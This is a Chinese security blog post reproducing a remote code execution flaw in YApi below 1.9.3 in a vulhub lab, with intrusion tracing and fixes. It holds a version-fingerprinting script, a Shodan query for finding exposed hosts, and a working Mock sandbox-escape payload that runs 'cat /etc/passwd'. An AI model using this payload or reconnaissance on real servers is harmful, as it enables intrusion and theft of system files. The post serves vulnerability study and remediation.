YApi管理平台任意代码执行漏洞复现

admin 2023年5月31日11:18:20评论38 views字数 1356阅读4分31秒阅读模式

文章目录

  • 漏洞简述

  • 漏洞影响版本

    • 如何判断YApi当前版本?

  • Shodan 搜索语法

  • 漏洞exp

  • 漏洞环境搭建

  • 漏洞复现

  • 入侵溯源

  • 修复方式

漏洞简述

YApi 是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台。若Yapi对外开放注册功能,攻击者可在注册并登录后,通过Mock构造特殊的请求执行任意代码,获取服务器权限。

漏洞影响版本

YApi < 1.9.3

如何判断YApi当前版本?

YApi管理平台任意代码执行漏洞复现

YApi网站底部显示了当前版本号,不过该version是通过js渲染生成的,直接请求首页无法拿到版本号。我简单写的一个脚本判断yapi版本号。

YApi管理平台任意代码执行漏洞复现

  1. import requests

  2. import sys

  3. import re

  4. ip = sys.argv[1]

  5. baseurl = "http://" + ip + ":3000/prd/"

  6. aseet_js = "assets.js"

  7. r = requests.get(baseurl+aseet_js)

  8. regex = r"index@[\w]+?.js"

  9. index_js_name = re.search(regex,r.text).group()

  10. index_js_url = baseurl +index_js_name

  11. regex = r'newVersion:"([\d.]+)"'

  12. r = requests.get(index_js_url)

  13. version = re.search(regex,r.text).group(1)

  14. print(ip,version)

  15. # 判断当前版本是否小于1.9.3

  16. _,v,sub_v = version.split('.')

  17. if int(v) < 9 or int(v) == 9 and int(sub_v) <3:

  18. print(version," http://" + ip + ":3000")

Shodan 搜索语法

http.favicon.hash:-715193973

YApi管理平台任意代码执行漏洞复现

漏洞exp

https://github.com/j2ekim/YApi_exp

漏洞环境搭建

  1. cd vulhub/yapi/unacc

  2. docker-compose up -d

访问 http://IP:3000 首页点击注册。

YApi管理平台任意代码执行漏洞复现

漏洞复现

添加项目。

YApi管理平台任意代码执行漏洞复现

YApi管理平台任意代码执行漏洞复现

YApi管理平台任意代码执行漏洞复现

YApi管理平台任意代码执行漏洞复现

设置Mock后保存。

  1. const sandbox = this

  2. const ObjectConstructor = this.constructor

  3. const FunctionConstructor = ObjectConstructor.constructor

  4. const myfun = FunctionConstructor('return process')

  5. const process = myfun()

  6. mockJson = process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()

YApi管理平台任意代码执行漏洞复现

访问Mock地址。

YApi管理平台任意代码执行漏洞复现

复现成功。

入侵溯源

yapi本身没有日志,所有信息记录在数据库中。这里我用docker搭建的漏洞环境,使用的mongdb。由于该漏洞需要注册才能利用,可通过数据库查询攻击ip。

YApi管理平台任意代码执行漏洞复现

修复方式

  1. 升级至1.9.3以上版本。

  2. 编辑Yapi目录下的 config.json 文件,设置 closeRegister 为 true,关闭Yapi的前台注册功能。


原文始发于微信公众号(白帽子左一):YApi管理平台任意代码执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月31日11:18:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   YApi管理平台任意代码执行漏洞复现https://cn-sec.com/archives/1760713.html

发表评论

匿名网友 填写信息